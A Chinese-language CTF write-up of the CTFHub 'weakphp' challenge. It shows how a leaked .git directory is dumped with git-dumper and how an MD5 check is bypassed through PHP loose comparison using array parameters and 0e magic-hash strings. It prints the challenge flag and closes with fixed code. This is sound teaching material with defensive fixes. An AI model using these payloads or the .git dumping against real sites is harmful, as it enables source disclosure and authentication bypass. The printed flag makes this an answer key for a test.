Writeup 4 CTFHub weakphp
一、题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | weakphp |
| 来源 | 2017 赛客夏令营 Web / CTFHub Web 技能树 |
| 靶机地址 | http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/ |
| 考点 | .git 源码泄露、PHP 弱类型比较(MD5 绕过) |
| Flag | ctfhub{daa04bd0801fafcf4d04f534} |
二、信息收集与源码还原
2.1 发现 .git 泄露
访问靶机首页 index.php,页面会重定向到 index.php?user=1&pass=2,回显 nonono!,无明显提示。尝试探测常见源码泄露路径:
bash
root@Rambo:~# curl -I http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Mon, 19 Oct 2026 05:24:10 GMT
Content-Length: 23
Connection: keep-alive
Last-Modified: Thu, 23 Jul 2020 15:42:52 GMT
ETag: "17-5ab1db58ef700"
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
root@Rambo:~#
返回 200,确认存在 Git 源码泄露(.git/ 目录返回 403,但 .git/HEAD 可访问)。
访问:
http
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/
页面显示:
Forbidden
You don't have permission to access /.git/ on this server.
Apache/2.4.25 (Debian) Server at challenge-5d3343f18a491010.sandbox.ctfhub.com Port 10800
2.2 使用 git-dumper 还原源码
原版 GitHack 基于 Python 2,在新环境下运行易报语法错误。这里使用 Python 3 友好的 git-dumper,并通过 venv 隔离安装,避免 PEP 668 的 externally-managed-environment 报错。
创建并激活虚拟环境
bash
root@Rambo:/weakphp# python3 -m venv venv
root@Rambo:/weakphp# source venv/bin/activate
确认一下
bash
(venv) root@Rambo:/weakphp# which pip
/weakphp/venv/bin/pip
(venv) root@Rambo:/weakphp# python --version
Python 3.12.3
安装 git-dumper
bash
(venv) root@Rambo:/weakphp# pip install git-dumper
Collecting git-dumper
Using cached git_dumper-1.0.9-py3-none-any.whl.metadata (3.1 kB)
Collecting PySocks (from git-dumper)
Using cached PySocks-1.7.1-py3-none-any.whl.metadata (13 kB)
Collecting requests (from git-dumper)
Using cached requests-2.34.2-py3-none-any.whl.metadata (4.8 kB)
Collecting beautifulsoup4 (from git-dumper)
Using cached beautifulsoup4-4.15.0-py3-none-any.whl.metadata (3.8 kB)
Collecting dulwich (from git-dumper)
Using cached dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl.metadata (6.0 kB)
Collecting requests-pkcs12 (from git-dumper)
Using cached requests_pkcs12-1.27-py3-none-any.whl.metadata (3.8 kB)
Collecting soupsieve>=1.6.1 (from beautifulsoup4->git-dumper)
Using cached soupsieve-3.0.3-py3-none-any.whl.metadata (4.4 kB)
Collecting typing-extensions>=4.0.0 (from beautifulsoup4->git-dumper)
Using cached typing_extensions-4.16.0-py3-none-any.whl.metadata (3.3 kB)
Collecting urllib3>=2.2.2 (from dulwich->git-dumper)
Using cached urllib3-2.8.0-py3-none-any.whl.metadata (7.4 kB)
Collecting charset_normalizer<4,>=2 (from requests->git-dumper)
Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (46 kB)
Collecting idna<4,>=2.5 (from requests->git-dumper)
Using cached idna-3.20-py3-none-any.whl.metadata (7.2 kB)
Collecting certifi>=2023.5.7 (from requests->git-dumper)
Using cached certifi-2026.10.18-py3-none-any.whl.metadata (2.5 kB)
Collecting cryptography>=42.0.0 (from requests-pkcs12->git-dumper)
Using cached cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (4.4 kB)
Collecting cffi>=2.0.0 (from cryptography>=42.0.0->requests-pkcs12->git-dumper)
Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (2.5 kB)
Collecting pycparser (from cffi>=2.0.0->cryptography>=42.0.0->requests-pkcs12->git-dumper)
Using cached pycparser-3.11-py3-none-any.whl.metadata (8.2 kB)
Using cached git_dumper-1.0.9-py3-none-any.whl (9.5 kB)
Using cached beautifulsoup4-4.15.0-py3-none-any.whl (109 kB)
Using cached dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl (1.5 MB)
Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Using cached requests-2.34.2-py3-none-any.whl (73 kB)
Using cached requests_pkcs12-1.27-py3-none-any.whl (6.1 kB)
Using cached certifi-2026.10.18-py3-none-any.whl (134 kB)
Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (257 kB)
Using cached cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl (4.8 MB)
Using cached idna-3.20-py3-none-any.whl (69 kB)
Using cached soupsieve-3.0.3-py3-none-any.whl (41 kB)
Using cached typing_extensions-4.16.0-py3-none-any.whl (45 kB)
Using cached urllib3-2.8.0-py3-none-any.whl (135 kB)
Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (221 kB)
Using cached pycparser-3.11-py3-none-any.whl (51 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, PySocks, pycparser, idna, charset_normalizer, certifi, requests, dulwich, cffi, beautifulsoup4, cryptography, requests-pkcs12, git-dumper
Successfully installed PySocks-1.7.1 beautifulsoup4-4.15.0 certifi-2026.10.18 cffi-2.1.1 charset_normalizer-3.5.2 cryptography-50.0.2 dulwich-1.2.17 git-dumper-1.0.9 idna-3.20 pycparser-3.11 requests-2.34.2 requests-pkcs12-1.27 soupsieve-3.0.3 typing-extensions-4.16.0 urllib3-2.8.0
(venv) root@Rambo:/weakphp#
确认一下
bash
(venv) root@Rambo:/weakphp# which git-dumper
/weakphp/venv/bin/git-dumper
还原 .git 仓库
bash
(venv) root@Rambo:/weakphp# git-dumper http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ ./output
[-] Testing http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Testing http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ [403]
[-] Fetching common files
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-update.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.gitignore [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.gitignore responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-commit.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/description [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/commit-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/update.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-receive.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/index [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/exclude [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-push.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/info/packs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/info/packs responded with status code 404
[-] Finding refs/
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/config [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/FETCH_HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ORIG_HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/refs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/refs responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/master [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/stash [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/stash responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/packed-refs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/packed-refs responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/master [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/production responded with status code 404[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/stash [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/stash responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development [404][-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development [404][-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/41/14bb9553c3d7a6f49ca740ba98db7c6faf1501 [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/38/9f1c2206b69cd32e0f5e45a209f3ed6b5c3da9 [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/ac/45e672f1521d8789e56c574c0c4ba06f6a889e [200]
[-] Running git checkout .
(venv) root@Rambo:/weakphp#
执行过程中可见 Testing .git/HEAD [200]、Fetching .git/objects/... [200]、Running git checkout .,最终在 output/ 目录得到还原后的源码:
bash
(venv) root@Rambo:/weakphp# cd output/
(venv) root@Rambo:/weakphp/output# ll
total 0
drwxrwxrwx 1 root root 512 Oct 19 13:21 ./
drwxrwxrwx 1 root root 512 Oct 19 13:20 ../
drwxrwxrwx 1 root root 512 Oct 19 13:21 .git/
-rwxrwxrwx 1 root root 287 Oct 19 13:21 index.php*
2.3 查看源码
bash
(venv) root@Rambo:/weakphp/output# cat index.php
得到完整源码:
php
<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
header("Location: index.php?user=1&pass=2");
}
$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
echo $flag;
} else {
echo "nonono!";
}
?>
三、漏洞分析
3.1 代码逻辑拆解
-
require_once "flag.php";:引入flag.php,$flag变量在当前作用域可用,条件成立时echo $flag即可输出 flag。 -
if (!isset($_GET['user']) && !isset($_GET['pass'])):若两个参数都未传,重定向到?user=1&pass=2。这解释了首次访问时默认参数为1和2。 -
核心判断:
phpif ((md5($user) == md5($pass)) and ($user != $pass))要求
user和pass的 MD5 值在弱比较 (==)下相等,但两个参数本身不相等。
3.2 弱类型比较(==)的本质
PHP 的 == 是弱比较,比较前会进行类型转换:
- 两个字符串若都是数字字符串,会被转换为数字再比较。
- 以
0e开头的纯数字字符串(如0e123456)会被科学计数法解析为0,因此任意两个0e开头的 MD5 值在==下都相等。 md5()函数接收数组 时无法处理,返回NULL;NULL == NULL为真。
这为两种绕过方式提供了理论基础。
四、漏洞利用
方法一:数组绕过(推荐,最稳定)
Payload:
http
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2
原理:
md5($_GET['user'])传入数组返回NULL,md5($_GET['pass'])同样返回NULL。NULL == NULL→true,满足md5($user) == md5($pass)。[1] != [2]→true,满足$user != $pass。
两个条件同时成立,回显 flag。
方法二:0e 科学计数法绕过
Payload:
http
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user=QNKCDZO&pass=240610708
原理:
md5('QNKCDZO')=0e830400451993494058024219903391md5('240610708')=0e462097431906509019562988736854- 两者都以
0e开头,弱比较时均被视为数字0,0 == 0成立。 - 两个字符串本身不相等,满足
$user != $pass。
其他可用组合:s155964671a 与 s1184209335a、QNKCDZO 与 240610708 等。
五、获取 Flag
访问数组绕过 Payload:
http
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2
页面回显:
ctfhub{daa04bd0801fafcf4d04f534}
六、知识点总结
.git源码泄露 :Web 根目录下若误留.git目录,攻击者可通过git-dumper、GitHack 等工具还原完整源码,进而审计漏洞。防御应确保部署时删除.git目录,或在 Web 服务器配置中禁止访问.git。- PHP 弱类型比较 :
==会进行类型转换,0e开头的数字字符串被视为0,导致不同字符串的 MD5 值被判相等。安全场景应使用===强比较。 md5()数组绕过 :md5()无法处理数组,传入数组返回NULL,两个NULL弱比较相等。参数校验时应先判断类型(如is_string())。- 工具环境管理 :新版 Debian/Ubuntu 的 PEP 668 机制禁止
pip全局安装,使用venv或pipx隔离安装工具是更稳妥的做法;Python 2 时代的工具(如 GitHack)在新环境下建议替换为 Python 3 兼容工具(如git-dumper)。
七、修复建议
php
<?php
require_once "flag.php";
$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
// 类型校验 + 强比较
if (is_string($user) && is_string($pass)
&& $user !== $pass
&& hash_equals(md5($user), md5($pass))) {
echo $flag;
} else {
echo "nonono!";
}
?>
- 使用
is_string()阻止数组传入。 - 使用
!==强比较替代!=。 - 使用
hash_equals()进行哈希比较,同时可防御时序攻击。 - 部署时移除
.git目录并配置服务器禁止访问隐藏目录。
Rambo
2026年10月19日
🎉🎉🎉